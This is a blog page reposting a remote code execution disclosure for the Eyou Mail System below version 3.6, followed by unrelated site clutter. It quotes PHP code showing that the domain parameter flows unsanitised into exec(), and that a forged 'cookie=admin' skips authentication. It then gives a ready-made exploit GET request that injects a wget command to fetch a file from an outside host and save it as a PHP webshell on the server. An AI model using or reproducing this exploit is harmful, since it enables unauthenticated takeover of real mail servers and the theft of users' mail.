Eyou Mail System Remote Code Execution

                Hi!
The Eyou Mail System have a Remote Code Execution in \inc\fuction.php.It affects version below 3.6.
The Vulnerability fuction is get_login_ip_config_file in \inc\fuction.php.
function get_login_ip_config_file($domain, $file) {
$dir = '/var/eyou/Domain/';
$dir_mail = exec('/var/eyou/sbin/hashid '.$domain); //$domain can control by us.
....
}
the other file in \admin\domain\ip_login_set\d_ip_login_get.php.
<?php
...
require_once('inc/domain.config.php');
//ValidateAdmin(); //We donn't need to login in.
$domainname = get_domain(); //Get cookie¡¡¡¡
$allow_file = 'web_login_allow_ip';
$deny_file = 'web_login_deny_ip';
$domain = trim(get('domain')); //$domain from here.
$type = trim(get('type'));¡¡¡¡//Get type
$res = '';
if($domainname !== 'admin' && $domainname !== $domain) { //we just need control $cookie=admin can bypass it and go on.
echo '';
exit;
}
if($type === 'allow') {¡¡//$type any go
$file = $allow_file;
$res .= 'ip_allow&';
} elseif($type === 'deny') {
$file = $deny_file;
$res .= 'ip_deny&';
} else {
echo '';
exit;
}
$file = get_login_ip_config_file($domain, $file);// use the vulnerability fuction
if($file === FALSE) {
echo $res;
exit;
}

Exp:
GET /admin/domain/ip_login_set/d_ip_login_get.php?domain=%3Bwget%20http://conqu3r.paxmac.org/exp.txt%3Bcp%20exp.txt%20exp.php&type=allow HTTP/1.1
Host: mail.xxx.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:cookie=admin
Connection: keep-alive
Thanks.



           

再分享一下我老师大神的人工智能教程吧。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到我们人工智能的队伍中来!https://blog.csdn.net/jiangjunshow

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
响应式鲜花礼品商城类网站模板eyou是一个专门设计和开发的网站模板,旨在为鲜花礼品商城提供一个功能齐全、界面美观、用户友好的在线销售平台。这个模板根据电子商务的最新趋势进行设计,考虑到不同设备尺寸的适应性,从而确保用户可以在任何设备上都能流畅地浏览和购买商品。 该模板中,首页以醒目的横幅图片展示鲜花礼品的优势和特色,引起用户的兴趣。主要的鲜花礼品分类和特别推荐商品将在页面上布置出来,帮助用户快速找到想要的商品。页面的布局合理,信息分类清晰,用户可以通过搜索框或是面包屑导航轻松找到所需商品。 在商品详情页,用户可以看到商品的详细信息、图片和价格,并且可以选择产品的规格、尺寸和颜色等选项。用户可以添加商品到购物车,并且可以随时查看选购的商品列表和总价。在购物车页面,用户可以修改商品数量、删除商品或是提交订单。 为了提升用户体验,该模板还提供了在线客服功能,用户可以通过即时通讯工具和客服进行沟通和咨询。用户还可以注册账户,方便以后的购物和订单管理。 而对于商家而言,该模板还提供了后台管理界面,可以方便地管理商品库存、订单、支付和物流等信息,帮助商家高效运营网店。 总的来说,响应式鲜花礼品商城类网站模板eyou是一个功能齐全、用户友好的网站模板,旨在帮助鲜花礼品商城在互联网上展示和销售商品。它结合了最新的设计趋势和用户需求,为用户和商家提供了便捷的购物和管理体验。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值